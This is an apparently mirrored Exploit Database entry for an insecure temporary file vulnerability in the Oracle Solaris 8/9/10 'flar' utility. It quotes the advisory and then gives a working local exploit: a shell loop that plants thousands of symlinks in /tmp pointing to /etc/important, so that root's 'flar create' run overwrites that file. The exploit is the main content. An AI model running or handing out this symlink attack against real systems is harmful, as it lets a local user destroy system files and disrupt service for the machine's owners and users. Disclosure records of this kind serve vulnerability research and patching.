Oracle Solaris 8/9/10 – ‘flar’ Insecure Temporary File Creation

• Exploit Database
• 209 阅读

• 作者： Frank Stuart
  日期： 2010-07-12
• 类别：

  • local
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/34311/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

  source: https://www.securityfocus.com/bid/41619/info   Oracle Solaris is prone to an insecure temporary file creation vulnerability.   A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.   Oracle Solaris 8, 9 and 10 are vulnerable.     $ x=0 $ while [ "$x" -le 30000 ];do > ln -s /etc/important /tmp/.flash_filter_one_.$x > x=$(expr "$x" + 1) > done   Later, when root creates a flash archive with:   # flar create -n junk <code>pwd</code>/junk.flar